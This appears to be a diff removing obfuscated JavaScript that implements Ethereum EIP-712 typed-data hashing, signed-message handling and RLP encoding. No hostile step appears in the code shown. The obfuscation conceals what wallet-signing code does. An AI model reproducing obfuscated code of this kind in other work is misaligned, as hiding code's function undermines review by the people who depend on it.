- }), _0x5672d7(_0x15c76b, _0x4b7cda.resolveName(_0x15c76b))) : (_0x25f4ce = _0x15c76b) && "function" == typeof _0x25f4ce.getAddress ? _0x5672d7(_0x15c76b, _0x15c76b.getAddress()) : _0x15c76b && "function" == typeof _0x15c76b.then ? _0x5672d7(_0x15c76b, _0x15c76b) : void _0x413a2d(false, "unsupported addressable value", "target", _0x15c76b);
- var _0x25f4ce;
- }
- var _0x3ae8c2 = "Ethereum Signed Message:\n";
- function _0x479b71(_0x1e8ea9, _0x280716) {
- var _0x10571d = "undefined" != typeof Symbol && _0x1e8ea9[Symbol.iterator] || _0x1e8ea9["@@iterator"];
- if (!_0x10571d) {
- if (Array.isArray(_0x1e8ea9) || (_0x10571d = function (_0x4d8113, _0x8810a0) {
- if (_0x4d8113) {
- if ("string" == typeof _0x4d8113) {
- return _0x1fbd84(_0x4d8113, _0x8810a0);
- }
- var _0x3eef2a = Object.prototype.toString.call(_0x4d8113).slice(8, -1);
- "Object" === _0x3eef2a && _0x4d8113.constructor && (_0x3eef2a = _0x4d8113.constructor.name);
- return "Map" === _0x3eef2a || "Set" === _0x3eef2a ? Array.from(_0x4d8113) : "Arguments" === _0x3eef2a || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x3eef2a) ? _0x1fbd84(_0x4d8113, _0x8810a0) : undefined;
- }
- }(_0x1e8ea9)) || _0x280716 && _0x1e8ea9 && "number" == typeof _0x1e8ea9.length) {
- _0x10571d && (_0x1e8ea9 = _0x10571d);
- var _0x3dbfa6 = 0;
- var _0xa91e61 = function () {};
- return {
- s: _0xa91e61,
- n: function () {
- return _0x3dbfa6 >= _0x1e8ea9.length ? {
- done: true
- } : {
- done: false,
- value: _0x1e8ea9[_0x3dbfa6++]
- };
- },
- e: function (_0x35dd0c) {
- throw _0x35dd0c;
- },
- f: _0xa91e61
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x2e8fc8;
- var _0x372669 = true;
- var _0x105497 = false;
- return {
- s: function () {
- _0x10571d = _0x10571d.call(_0x1e8ea9);
- },
- n: function () {
- var _0x2d8f24 = _0x10571d.next();
- _0x372669 = _0x2d8f24.done;
- return _0x2d8f24;
- },
- e: function (_0x59cb4e) {
- _0x105497 = true;
- _0x2e8fc8 = _0x59cb4e;
- },
- f: function () {
- try {
- _0x372669 || null == _0x10571d.return || _0x10571d.return();
- } finally {
- if (_0x105497) {
- throw _0x2e8fc8;
- }
- }
- }
- };
- }
- function _0x1fbd84(_0x368b03, _0x1b4b82) {
- (null == _0x1b4b82 || _0x1b4b82 > _0x368b03.length) && (_0x1b4b82 = _0x368b03.length);
- for (var _0x97e5bb = 0, _0x4c8083 = new Array(_0x1b4b82); _0x97e5bb < _0x1b4b82; _0x97e5bb++) {
- _0x4c8083[_0x97e5bb] = _0x368b03[_0x97e5bb];
- }
- return _0x4c8083;
- }
- function _0x418f97(_0x58822f, _0x1aae75, _0x188660) {
- _0x1ee160(_0x58822f, _0x1aae75);
- _0x1aae75.set(_0x58822f, _0x188660);
- }
- function _0x1ee160(_0x3ae6f7, _0x1df4ec) {
- if (_0x1df4ec.has(_0x3ae6f7)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }
- var _0x37e96f = new Uint8Array(32);
- _0x37e96f.fill(0);
- var _0xd362d = BigInt(-1);
- var _0x2ba7f2 = BigInt(0);
- var _0x54a005 = BigInt(1);
- var _0x3cf023 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
- var _0x504990 = _0x4fc59d(_0x54a005, 32);
- var _0x2d528a = _0x4fc59d(_0x2ba7f2, 32);
- var _0x11d5e9 = {
- name: "string",
- version: "string",
- chainId: "uint256",
- verifyingContract: "address",
- salt: "bytes32"
- };
- var _0x56745b = ["name", "version", "chainId", "verifyingContract", "salt"];
- function _0x339137(_0xb43d4a) {
- return function (_0x1dcaf7) {
- _0x413a2d("string" == typeof _0x1dcaf7, "invalid domain value for ".concat(JSON.stringify(_0xb43d4a)), "domain.".concat(_0xb43d4a), _0x1dcaf7);
- return _0x1dcaf7;
- };
- }
- var _0x5713b9 = {
- name: _0x339137("name"),
- version: _0x339137("version"),
- chainId: function (_0x3d43e1) {
- var _0x9b1c06 = _0x1d7273(_0x3d43e1, "domain.chainId");
- _0x413a2d(_0x9b1c06 >= 0, "invalid chain ID", "domain.chainId", _0x3d43e1);
- return Number.isSafeInteger(_0x9b1c06) ? Number(_0x9b1c06) : function (_0x4aae02) {
- for (var _0x1ccce0 = _0x192257(_0x33b477(_0x4aae02) ? _0x4aae02 : _0x30872d(_0x4aae02)).substring(2); _0x1ccce0.startsWith("0");) {
- _0x1ccce0 = _0x1ccce0.substring(1);
- }
- "" === _0x1ccce0 && (_0x1ccce0 = "0");
- return "0x" + _0x1ccce0;
- }(_0x9b1c06);
- },
- verifyingContract: function (_0xd509fe) {
- try {
- return _0x46447e(_0xd509fe).toLowerCase();
- } catch (_0x130272) {}
- _0x413a2d(false, "invalid domain value \"verifyingContract\"", "domain.verifyingContract", _0xd509fe);
- },
- salt: function (_0x288057) {
- var _0x4724f6 = _0x2565f8(_0x288057, "domain.salt");
- _0x413a2d(32 === _0x4724f6.length, "invalid domain value \"salt\"", "domain.salt", _0x288057);
- return _0x192257(_0x4724f6);
- }
- };
- function _0x395226(_0x53c046) {
- var _0x3a2a6d = _0x53c046.match(/^(u?)int(\d*)$/);
- if (_0x3a2a6d) {
- var _0x54276f = "" === _0x3a2a6d[1];
- var _0x45f67c = parseInt(_0x3a2a6d[2] || "256");
- _0x413a2d(_0x45f67c % 8 == 0 && 0 !== _0x45f67c && _0x45f67c <= 256 && (null == _0x3a2a6d[2] || _0x3a2a6d[2] === String(_0x45f67c)), "invalid numeric width", "type", _0x53c046);
- var _0x1036ae = _0x869ea9(_0x3cf023, _0x54276f ? _0x45f67c - 1 : _0x45f67c);
- var _0x3d0180 = _0x54276f ? (_0x1036ae + _0x54a005) * _0xd362d : _0x2ba7f2;
- return function (_0xaddedf) {
- var _0x1f8efe = _0x1d7273(_0xaddedf, "value");
- _0x413a2d(_0x1f8efe >= _0x3d0180 && _0x1f8efe <= _0x1036ae, "value out-of-bounds for ".concat(_0x53c046), "value", _0x1f8efe);
- return _0x4fc59d(_0x54276f ? _0x4ed172(_0x1f8efe, 256) : _0x1f8efe, 32);
- };
- }
- var _0xccaec9 = _0x53c046.match(/^bytes(\d+)$/);
- if (_0xccaec9) {
- var _0x4c2d6d = parseInt(_0xccaec9[1]);
- _0x413a2d(0 !== _0x4c2d6d && _0x4c2d6d <= 32 && _0xccaec9[1] === String(_0x4c2d6d), "invalid bytes width", "type", _0x53c046);
- return function (_0x410337) {
- _0x413a2d(_0x2565f8(_0x410337).length === _0x4c2d6d, "invalid length for ".concat(_0x53c046), "value", _0x410337);
- return function (_0x3d4dcc) {
- var _0x720220 = _0x2565f8(_0x3d4dcc);
- var _0x515683 = _0x720220.length % 32;
- return _0x515683 ? _0x251cd2([_0x720220, _0x37e96f.slice(_0x515683)]) : _0x192257(_0x720220);
- }(_0x410337);
- };
- }
- switch (_0x53c046) {
- case "address":
- return function (_0x5ef75b) {
- return _0x8b1210(_0x46447e(_0x5ef75b), 32);
- };
- case "bool":
- return function (_0x2b4178) {
- return _0x2b4178 ? _0x504990 : _0x2d528a;
- };
- case "bytes":
- return function (_0x5b0e6e) {
- return _0xa68238(_0x5b0e6e);
- };
- case "string":
- return function (_0x38e031) {
- return _0x261fa4(_0x38e031);
- };
- }
- return null;
- }
- function _0x4b7124(_0x19d3c1, _0x3e631b) {
- return "".concat(_0x19d3c1, "(").concat(_0x3e631b.map(function (_0x1fea6c) {
- var _0x5c3adb = _0x1fea6c.name;
- return _0x1fea6c.type + " " + _0x5c3adb;
- }).join(","), ")");
- }
- var _0x323f1e = new WeakMap();
- var _0x789d52 = new WeakMap();
- var _0x115334 = new WeakMap();
- var _0x2201ab = new WeakSet();
- var _0x2b8763 = function () {
- function _0xd6b772(_0x529f86) {
- var _0x4bd079;
- _0x1d998d(this, _0xd6b772);
- _0x1ee160(this, _0x4bd079 = _0x2201ab);
- _0x4bd079.add(this);
- _0x713ed3(this, "primaryType", undefined);
- _0x418f97(this, _0x323f1e, {
- writable: true,
- value: undefined
- });
- _0x418f97(this, _0x789d52, {
- writable: true,
- value: undefined
- });
- _0x418f97(this, _0x115334, {
- writable: true,
- value: undefined
- });
- _0x207f54(this, _0x323f1e, JSON.stringify(_0x529f86));
- _0x207f54(this, _0x789d52, new Map());
- _0x207f54(this, _0x115334, new Map());
- var _0x338a6e = new Map();
- var _0x1c614e = new Map();
- var _0x3f8f70 = new Map();
- for (var _0x5b3bb7 in Object.keys(_0x529f86).forEach(function (_0x18f1d3) {
- _0x338a6e.set(_0x18f1d3, new Set());
- _0x1c614e.set(_0x18f1d3, []);
- _0x3f8f70.set(_0x18f1d3, new Set());
- }), _0x529f86) {
- var _0x154169;
- var _0x483fc2 = new Set();
- var _0x44cf7d = _0x479b71(_0x529f86[_0x5b3bb7]);
- try {
- for (_0x44cf7d.s(); !(_0x154169 = _0x44cf7d.n()).done;) {
- var _0x79519b = _0x154169.value;
- _0x413a2d(!_0x483fc2.has(_0x79519b.name), "duplicate variable name ".concat(JSON.stringify(_0x79519b.name), " in ").concat(JSON.stringify(_0x5b3bb7)), "types", _0x529f86);
- _0x483fc2.add(_0x79519b.name);
- var _0x56ba09 = _0x79519b.type.match(/^([^\x5b]*)(\x5b|$)/)[1] || null;
- _0x413a2d(_0x56ba09 !== _0x5b3bb7, "circular type reference to ".concat(JSON.stringify(_0x56ba09)), "types", _0x529f86);
- _0x395226(_0x56ba09) || (_0x413a2d(_0x1c614e.has(_0x56ba09), "unknown type ".concat(JSON.stringify(_0x56ba09)), "types", _0x529f86), _0x1c614e.get(_0x56ba09).push(_0x5b3bb7), _0x338a6e.get(_0x5b3bb7).add(_0x56ba09));
- }
- } catch (_0x353209) {
- _0x44cf7d.e(_0x353209);
- } finally {
- _0x44cf7d.f();
- }
- }
- var _0x4c3c1f = Array.from(_0x1c614e.keys()).filter(function (_0x473096) {
- return 0 === _0x1c614e.get(_0x473096).length;
- });
- _0x413a2d(0 !== _0x4c3c1f.length, "missing primary type", "types", _0x529f86);
- _0x413a2d(1 === _0x4c3c1f.length, "ambiguous primary types or unused types: ".concat(_0x4c3c1f.map(function (_0x29812b) {
- return JSON.stringify(_0x29812b);
- }).join(", ")), "types", _0x529f86);
- _0x7e8dd6(this, {
- primaryType: _0x4c3c1f[0]
- });
- (function _0x58d94e(_0x124158, _0x2c8cab) {
- _0x413a2d(!_0x2c8cab.has(_0x124158), "circular type reference to ".concat(JSON.stringify(_0x124158)), "types", _0x529f86);
- _0x2c8cab.add(_0x124158);
- var _0x6dfe7a;
- var _0x1b5471 = _0x479b71(_0x338a6e.get(_0x124158));
- try {
- for (_0x1b5471.s(); !(_0x6dfe7a = _0x1b5471.n()).done;) {
- var _0x1e2821 = _0x6dfe7a.value;
- if (_0x1c614e.has(_0x1e2821)) {
- _0x58d94e(_0x1e2821, _0x2c8cab);
- var _0x528c77;
- var _0x3f785a = _0x479b71(_0x2c8cab);
- try {
- for (_0x3f785a.s(); !(_0x528c77 = _0x3f785a.n()).done;) {
- var _0xd37ef6 = _0x528c77.value;
- _0x3f8f70.get(_0xd37ef6).add(_0x1e2821);
- }
- } catch (_0x4c7751) {
- _0x3f785a.e(_0x4c7751);
- } finally {
- _0x3f785a.f();
- }
- }
- }
- } catch (_0x554631) {
- _0x1b5471.e(_0x554631);
- } finally {
- _0x1b5471.f();
- }
- _0x2c8cab.delete(_0x124158);
- })(this.primaryType, new Set());
- var _0x17dc1c;
- var _0x30c732 = _0x479b71(_0x3f8f70);
- try {
- for (_0x30c732.s(); !(_0x17dc1c = _0x30c732.n()).done;) {
- var _0x1b1620 = _0x19dc48(_0x17dc1c.value, 2);
- var _0x23673d = _0x1b1620[0];
- var _0x1c4bcb = _0x1b1620[1];
- var _0x443ec0 = Array.from(_0x1c4bcb);
- _0x443ec0.sort();
- _0x46b89d(this, _0x789d52).set(_0x23673d, _0x4b7124(_0x23673d, _0x529f86[_0x23673d]) + _0x443ec0.map(function (_0x1a1353) {
- return _0x4b7124(_0x1a1353, _0x529f86[_0x1a1353]);
- }).join(""));
- }
- } catch (_0x3429b8) {
- _0x30c732.e(_0x3429b8);
- } finally {
- _0x30c732.f();
- }
- }
- var _0x99609c;
- _0x561e78(_0xd6b772, [{
- key: "types",
- get: function () {
- return JSON.parse(_0x46b89d(this, _0x323f1e));
- }
- }, {
- key: "getEncoder",
- value: function (_0x540e95) {
- var _0x20554e = _0x46b89d(this, _0x115334).get(_0x540e95);
- _0x20554e || (_0x20554e = function (_0x460048, _0x518137, _0x5da9b7) {
- if (!_0x518137.has(_0x460048)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x5da9b7;
- }(this, _0x2201ab, _0x291fba).call(this, _0x540e95), _0x46b89d(this, _0x115334).set(_0x540e95, _0x20554e));
- return _0x20554e;
- }
- }, {
- key: "encodeType",
- value: function (_0x3511ec) {
- var _0x2b10a2 = _0x46b89d(this, _0x789d52).get(_0x3511ec);
- _0x413a2d(_0x2b10a2, "unknown type: ".concat(JSON.stringify(_0x3511ec)), "name", _0x3511ec);
- return _0x2b10a2;
- }
- }, {
- key: "encodeData",
- value: function (_0x4e859d, _0x321921) {
- return this.getEncoder(_0x4e859d)(_0x321921);
- }
- }, {
- key: "hashStruct",
- value: function (_0x578551, _0x4e579d) {
- return _0xa68238(this.encodeData(_0x578551, _0x4e579d));
- }
- }, {
- key: "encode",
- value: function (_0x5694e3) {
- return this.encodeData(this.primaryType, _0x5694e3);
- }
- }, {
- key: "hash",
- value: function (_0x254653) {
- return this.hashStruct(this.primaryType, _0x254653);
- }
- }, {
- key: "_visit",
- value: function (_0xd0ddb4, _0x26ca1a, _0x17e533) {
- var _0x1cbf90 = this;
- if (_0x395226(_0xd0ddb4)) {
- return _0x17e533(_0xd0ddb4, _0x26ca1a);
- }
- var _0x3a3ecf = _0xd0ddb4.match(/^(.*)(\x5b(\d*)\x5d)$/);
- if (_0x3a3ecf) {
- _0x413a2d(!_0x3a3ecf[3] || parseInt(_0x3a3ecf[3]) === _0x26ca1a.length, "array length mismatch; expected length ".concat(parseInt(_0x3a3ecf[3])), "value", _0x26ca1a);
- return _0x26ca1a.map(function (_0x1b53e4) {
- return _0x1cbf90._visit(_0x3a3ecf[1], _0x1b53e4, _0x17e533);
- });
- }
- var _0x2acddb = this.types[_0xd0ddb4];
- if (_0x2acddb) {
- return _0x2acddb.reduce(function (_0x3bd1da, _0x2b0977) {
- var _0x309fbe = _0x2b0977.name;
- var _0x1f0349 = _0x2b0977.type;
- _0x3bd1da[_0x309fbe] = _0x1cbf90._visit(_0x1f0349, _0x26ca1a[_0x309fbe], _0x17e533);
- return _0x3bd1da;
- }, {});
- }
- _0x413a2d(false, "unknown type: ".concat(_0xd0ddb4), "type", _0xd0ddb4);
- }
- }, {
- key: "visit",
- value: function (_0x2cf24b, _0x399a86) {
- return this._visit(this.primaryType, _0x2cf24b, _0x399a86);
- }
- }], [{
- key: "from",
- value: function (_0xfc1b81) {
- return new _0xd6b772(_0xfc1b81);
- }
- }, {
- key: "getPrimaryType",
- value: function (_0x5d8be4) {
- return _0xd6b772.from(_0x5d8be4).primaryType;
- }
- }, {
- key: "hashStruct",
- value: function (_0x11162a, _0x19870e, _0x5312cb) {
- return _0xd6b772.from(_0x19870e).hashStruct(_0x11162a, _0x5312cb);
- }
- }, {
- key: "hashDomain",
- value: function (_0x1adb2e) {
- var _0x4d5e2d = [];
- for (var _0x9a7a74 in _0x1adb2e) if (null != _0x1adb2e[_0x9a7a74]) {
- var _0x49716d = _0x11d5e9[_0x9a7a74];
- _0x413a2d(_0x49716d, "invalid typed-data domain key: ".concat(JSON.stringify(_0x9a7a74)), "domain", _0x1adb2e);
- _0x4d5e2d.push({
- name: _0x9a7a74,
- type: _0x49716d
- });
- }
- _0x4d5e2d.sort(function (_0x298ed8, _0x164c08) {
- return _0x56745b.indexOf(_0x298ed8.name) - _0x56745b.indexOf(_0x164c08.name);
- });
- return _0xd6b772.hashStruct("EIP712Domain", {
- EIP712Domain: _0x4d5e2d
- }, _0x1adb2e);
- }
- }, {
- key: "encode",
- value: function (_0x3c9e13, _0x4b39a1, _0xf9b55) {
- return _0x251cd2(["0x1901", _0xd6b772.hashDomain(_0x3c9e13), _0xd6b772.from(_0x4b39a1).hash(_0xf9b55)]);
- }
- }, {
- key: "hash",
- value: function (_0x45df0c, _0x3f4b29, _0x10db15) {
- return _0xa68238(_0xd6b772.encode(_0x45df0c, _0x3f4b29, _0x10db15));
- }
- }, {
- key: "resolveNames",
- value: (_0x99609c = _0x203d83(_0x4afc9d.mark(function _0x4b7356(_0x5c11e4, _0x1d1c4e, _0x3200cf, _0x105888) {
- var _0x301098;
- var _0x5a0644;
- var _0x51771f;
- var _0x2700cc;
- return _0x4afc9d.wrap(function (_0x102a2b) {
- for (;;) {
- switch (_0x102a2b.prev = _0x102a2b.next) {
- case 0:
- for (_0x301098 in _0x5c11e4 = Object.assign({}, _0x5c11e4)) null == _0x5c11e4[_0x301098] && delete _0x5c11e4[_0x301098];
- _0x5a0644 = {};
- _0x5c11e4.verifyingContract && !_0x2c6f22(_0x5c11e4.verifyingContract, 20) && (_0x5a0644[_0x5c11e4.verifyingContract] = "0x");
- (_0x51771f = _0xd6b772.from(_0x1d1c4e)).visit(_0x3200cf, function (_0x10cbdd, _0x2abac6) {
- "address" !== _0x10cbdd || _0x2c6f22(_0x2abac6, 20) || (_0x5a0644[_0x2abac6] = "0x");
- return _0x2abac6;
- });
- _0x102a2b.t0 = _0x4afc9d.keys(_0x5a0644);
- case 7:
- if ((_0x102a2b.t1 = _0x102a2b.t0()).done) {
- _0x102a2b.next = 14;
- break;
- }
- _0x2700cc = _0x102a2b.t1.value;
- _0x102a2b.next = 11;
- return _0x105888(_0x2700cc);
- case 11:
- _0x5a0644[_0x2700cc] = _0x102a2b.sent;
- _0x102a2b.next = 7;
- break;
- case 14:
- _0x5c11e4.verifyingContract && _0x5a0644[_0x5c11e4.verifyingContract] && (_0x5c11e4.verifyingContract = _0x5a0644[_0x5c11e4.verifyingContract]);
- _0x3200cf = _0x51771f.visit(_0x3200cf, function (_0x44ca16, _0x1abf22) {
- return "address" === _0x44ca16 && _0x5a0644[_0x1abf22] ? _0x5a0644[_0x1abf22] : _0x1abf22;
- });
- return _0x102a2b.abrupt("return", {
- domain: _0x5c11e4,
- value: _0x3200cf
- });
- case 17:
- case "end":
- return _0x102a2b.stop();
- }
- }
- }, _0x4b7356);
- })), function (_0x3f175e, _0x526db9, _0x190247, _0x2e8563) {
- return _0x99609c.apply(this, arguments);
- })
- }, {
- key: "getPayload",
- value: function (_0xf47255, _0x48ea39, _0x1cff96) {
- _0xd6b772.hashDomain(_0xf47255);
- var _0x8517 = {};
- var _0x5b55bd = [];
- _0x56745b.forEach(function (_0x458ccb) {
- var _0x3a4e30 = _0xf47255[_0x458ccb];
- null != _0x3a4e30 && (_0x8517[_0x458ccb] = _0x5713b9[_0x458ccb](_0x3a4e30), _0x5b55bd.push({
- name: _0x458ccb,
- type: _0x11d5e9[_0x458ccb]
- }));
- });
- var _0x304545 = _0xd6b772.from(_0x48ea39);
- var _0x1edb1f = Object.assign({}, _0x48ea39);
- _0x413a2d(null == _0x1edb1f.EIP712Domain, "types must not contain EIP712Domain type", "types.EIP712Domain", _0x48ea39);
- _0x1edb1f.EIP712Domain = _0x5b55bd;
- _0x304545.encode(_0x1cff96);
- return {
- types: _0x1edb1f,
- domain: _0x8517,
- primaryType: _0x304545.primaryType,
- message: _0x304545.visit(_0x1cff96, function (_0x16f2cd, _0x14e678) {
- if (_0x16f2cd.match(/^bytes(\d*)/)) {
- return _0x192257(_0x2565f8(_0x14e678));
- }
- if (_0x16f2cd.match(/^u?int/)) {
- return _0x1d7273(_0x14e678).toString();
- }
- switch (_0x16f2cd) {
- case "address":
- return _0x14e678.toLowerCase();
- case "bool":
- return !!_0x14e678;
- case "string":
- _0x413a2d("string" == typeof _0x14e678, "invalid string", "value", _0x14e678);
- return _0x14e678;
- }
- _0x413a2d(false, "unsupported type", "type", _0x16f2cd);
- })
- };
- }
- }]);
- return _0xd6b772;
- }();
- function _0x291fba(_0x21f66a) {
- var _0x3addea = this;
- var _0x9d64e3 = _0x395226(_0x21f66a);
- if (_0x9d64e3) {
- return _0x9d64e3;
- }
- var _0x595dc7 = _0x21f66a.match(/^(.*)(\x5b(\d*)\x5d)$/);
- if (_0x595dc7) {
- var _0x21440c = _0x595dc7[1];
- var _0x2c0dff = this.getEncoder(_0x21440c);
- return function (_0x4e7478) {
- _0x413a2d(!_0x595dc7[3] || parseInt(_0x595dc7[3]) === _0x4e7478.length, "array length mismatch; expected length ".concat(parseInt(_0x595dc7[3])), "value", _0x4e7478);
- var _0x55a4d7 = _0x4e7478.map(_0x2c0dff);
- _0x46b89d(_0x3addea, _0x789d52).has(_0x21440c) && (_0x55a4d7 = _0x55a4d7.map(_0xa68238));
- return _0xa68238(_0x251cd2(_0x55a4d7));
- };
- }
- var _0x1fd569 = this.types[_0x21f66a];
- if (_0x1fd569) {
- var _0x4cad46 = _0x261fa4(_0x46b89d(this, _0x789d52).get(_0x21f66a));
- return function (_0x39527b) {
- var _0x348c01 = _0x1fd569.map(function (_0x277ea8) {
- var _0x252573 = _0x277ea8.name;
- var _0x1cd536 = _0x277ea8.type;
- var _0x29b57e = _0x3addea.getEncoder(_0x1cd536)(_0x39527b[_0x252573]);
- return _0x46b89d(_0x3addea, _0x789d52).has(_0x1cd536) ? _0xa68238(_0x29b57e) : _0x29b57e;
- });
- _0x348c01.unshift(_0x4cad46);
- return _0x251cd2(_0x348c01);
- };
- }
- _0x413a2d(false, "unknown type: ".concat(_0x21f66a), "type", _0x21f66a);
- }
- function _0x277a47(_0x48db58) {
- for (var _0x1516b7 = _0x48db58.toString(16); _0x1516b7.length < 2;) {
- _0x1516b7 = "0" + _0x1516b7;
- }
- return "0x" + _0x1516b7;
- }
- function _0x47a4fc(_0xa2ea10, _0x12c827, _0x52888e) {
- for (var _0x422dff = 0, _0x45663a = 0; _0x45663a < _0x52888e; _0x45663a++) {
- _0x422dff = 256 * _0x422dff + _0xa2ea10[_0x12c827 + _0x45663a];
- }
- return _0x422dff;
- }
- function _0x432d82(_0x36f49a, _0x580e29, _0x5aeb23, _0x255b13) {
- for (var _0xb980d4 = []; _0x5aeb23 < _0x580e29 + 1 + _0x255b13;) {
- var _0x371f6f = _0x141c23(_0x36f49a, _0x5aeb23);
- _0xb980d4.push(_0x371f6f.result);
- _0x2b816d((_0x5aeb23 += _0x371f6f.consumed) <= _0x580e29 + 1 + _0x255b13, "child data too short", "BUFFER_OVERRUN", {
- buffer: _0x36f49a,
- length: _0x255b13,
- offset: _0x580e29
- });
- }
- return {
- consumed: 1 + _0x255b13,
- result: _0xb980d4
- };
- }
- function _0x141c23(_0xea64c9, _0x2b863b) {
- _0x2b816d(0 !== _0xea64c9.length, "data too short", "BUFFER_OVERRUN", {
- buffer: _0xea64c9,
- length: 0,
- offset: 1
- });
- var _0x31660b = function (_0x5e243c) {
- _0x2b816d(_0x5e243c <= _0xea64c9.length, "data short segment too short", "BUFFER_OVERRUN", {
- buffer: _0xea64c9,
- length: _0xea64c9.length,
- offset: _0x5e243c
- });
- };
- if (_0xea64c9[_0x2b863b] >= 248) {
- var _0x42abc8 = _0xea64c9[_0x2b863b] - 247;
- _0x31660b(_0x2b863b + 1 + _0x42abc8);
- var _0x4437b7 = _0x47a4fc(_0xea64c9, _0x2b863b + 1, _0x42abc8);
- _0x31660b(_0x2b863b + 1 + _0x42abc8 + _0x4437b7);
- return _0x432d82(_0xea64c9, _0x2b863b, _0x2b863b + 1 + _0x42abc8, _0x42abc8 + _0x4437b7);
- }
- if (_0xea64c9[_0x2b863b] >= 192) {
- var _0x2a0de3 = _0xea64c9[_0x2b863b] - 192;
- _0x31660b(_0x2b863b + 1 + _0x2a0de3);
- return _0x432d82(_0xea64c9, _0x2b863b, _0x2b863b + 1, _0x2a0de3);
- }
- if (_0xea64c9[_0x2b863b] >= 184) {
- var _0x5c8988 = _0xea64c9[_0x2b863b] - 183;
- _0x31660b(_0x2b863b + 1 + _0x5c8988);
- var _0x161622 = _0x47a4fc(_0xea64c9, _0x2b863b + 1, _0x5c8988);
- _0x31660b(_0x2b863b + 1 + _0x5c8988 + _0x161622);
- return {
- consumed: 1 + _0x5c8988 + _0x161622,
- result: _0x192257(_0xea64c9.slice(_0x2b863b + 1 + _0x5c8988, _0x2b863b + 1 + _0x5c8988 + _0x161622))
- };
- }
- if (_0xea64c9[_0x2b863b] >= 128) {
- var _0x34db57 = _0xea64c9[_0x2b863b] - 128;
- _0x31660b(_0x2b863b + 1 + _0x34db57);
- return {
- consumed: 1 + _0x34db57,
- result: _0x192257(_0xea64c9.slice(_0x2b863b + 1, _0x2b863b + 1 + _0x34db57))
- };
- }
- return {
- consumed: 1,
- result: _0x277a47(_0xea64c9[_0x2b863b])
- };
- }
- function _0x1af060(_0x3995ab) {
- var _0x47ec3e = _0x2565f8(_0x3995ab, "data");
- var _0x5916dc = _0x141c23(_0x47ec3e, 0);
- _0x413a2d(_0x5916dc.consumed === _0x47ec3e.length, "unexpected junk after rlp payload", "data", _0x3995ab);
- return _0x5916dc.result;
- }
- function _0x5112a2(_0x439364, _0x41cc74) {
- (null == _0x41cc74 || _0x41cc74 > _0x439364.length) && (_0x41cc74 = _0x439364.length);
- for (var _0x1e34b4 = 0, _0x48a25b = new Array(_0x41cc74); _0x1e34b4 < _0x41cc74; _0x1e34b4++) {
- _0x48a25b[_0x1e34b4] = _0x439364[_0x1e34b4];
- }
- return _0x48a25b;
- }
- function _0x2dbaac(_0x15c9f6) {
- for (var _0x515ffa = []; _0x15c9f6;) {
- _0x515ffa.unshift(255 & _0x15c9f6);
- _0x15c9f6 >>= 8;
- }
- return _0x515ffa;
- }
- function _0x4cbb8a(_0xc20303) {
- if (Array.isArray(_0xc20303)) {
- var _0x29ef74 = [];
- if (_0xc20303.forEach(function (_0x51ccd6) {
- _0x29ef74 = _0x29ef74.concat(_0x4cbb8a(_0x51ccd6));
- }), _0x29ef74.length <= 55) {
- _0x29ef74.unshift(192 + _0x29ef74.length);
- return _0x29ef74;
- }
- var _0x3808eb = _0x2dbaac(_0x29ef74.length);
- _0x3808eb.unshift(247 + _0x3808eb.length);
- return _0x3808eb.concat(_0x29ef74);
- }
- var _0x51640d = Array.prototype.slice.call(_0x2565f8(_0xc20303, "object"));
- if (1 === _0x51640d.length && _0x51640d[0] <= 127) {
- return _0x51640d;
- }
- if (_0x51640d.length <= 55) {
- _0x51640d.unshift(128 + _0x51640d.length);
- return _0x51640d;
- }
- var _0x6c4891 = _0x2dbaac(_0x51640d.length);
- _0x6c4891.unshift(183 + _0x6c4891.length);
- return _0x6c4891.concat(_0x51640d);
- }
- var _0x5da62f = "0123456789abcdef";
- function _0x34a12f(_0x2ab095) {
- var _0x4c6999;
- var _0x52c00d = "0x";
- var _0x8e6ad3 = function (_0x1f8164, _0x582c71) {
- var _0x1259d0 = "undefined" != typeof Symbol && _0x1f8164[Symbol.iterator] || _0x1f8164["@@iterator"];
- if (!_0x1259d0) {
- if (Array.isArray(_0x1f8164) || (_0x1259d0 = function (_0x409060, _0xe2f6f7) {
- if (_0x409060) {
- if ("string" == typeof _0x409060) {
- return _0x5112a2(_0x409060, _0xe2f6f7);
- }
- var _0x54263a = Object.prototype.toString.call(_0x409060).slice(8, -1);
- "Object" === _0x54263a && _0x409060.constructor && (_0x54263a = _0x409060.constructor.name);
- return "Map" === _0x54263a || "Set" === _0x54263a ? Array.from(_0x409060) : "Arguments" === _0x54263a || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x54263a) ? _0x5112a2(_0x409060, _0xe2f6f7) : undefined;
- }
- }(_0x1f8164)) || _0x582c71 && _0x1f8164 && "number" == typeof _0x1f8164.length) {
- _0x1259d0 && (_0x1f8164 = _0x1259d0);
- var _0x5cdf5e = 0;
- var _0x5b834a = function () {};
- return {
- s: _0x5b834a,
- n: function () {
- return _0x5cdf5e >= _0x1f8164.length ? {
- done: true
- } : {
- done: false,
- value: _0x1f8164[_0x5cdf5e++]
- };
- },
- e: function (_0x7db8b3) {
- throw _0x7db8b3;
- },
- f: _0x5b834a
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x261c19;
- var _0x25b01d = true;
- var _0x108fb5 = false;
- return {
- s: function () {
- _0x1259d0 = _0x1259d0.call(_0x1f8164);
- },
- n: function () {
- var _0x571e20 = _0x1259d0.next();
- _0x25b01d = _0x571e20.done;
- return _0x571e20;
- },
- e: function (_0x14bd8b) {
- _0x108fb5 = true;
- _0x261c19 = _0x14bd8b;
- },
- f: function () {
- try {
- _0x25b01d || null == _0x1259d0.return || _0x1259d0.return();
- } finally {
- if (_0x108fb5) {
- throw _0x261c19;
- }
- }
- }
- };
- }(_0x4cbb8a(_0x2ab095));
- try {
- for (_0x8e6ad3.s(); !(_0x4c6999 = _0x8e6ad3.n()).done;) {
- var _0x319f27 = _0x4c6999.value;
- _0x52c00d += _0x5da62f[_0x319f27 >> 4];
- _0x52c00d += _0x5da62f[15 & _0x319f27];
- }
- } catch (_0x16ca53) {
- _0x8e6ad3.e(_0x16ca53);
- } finally {
- _0x8e6ad3.f();
- }
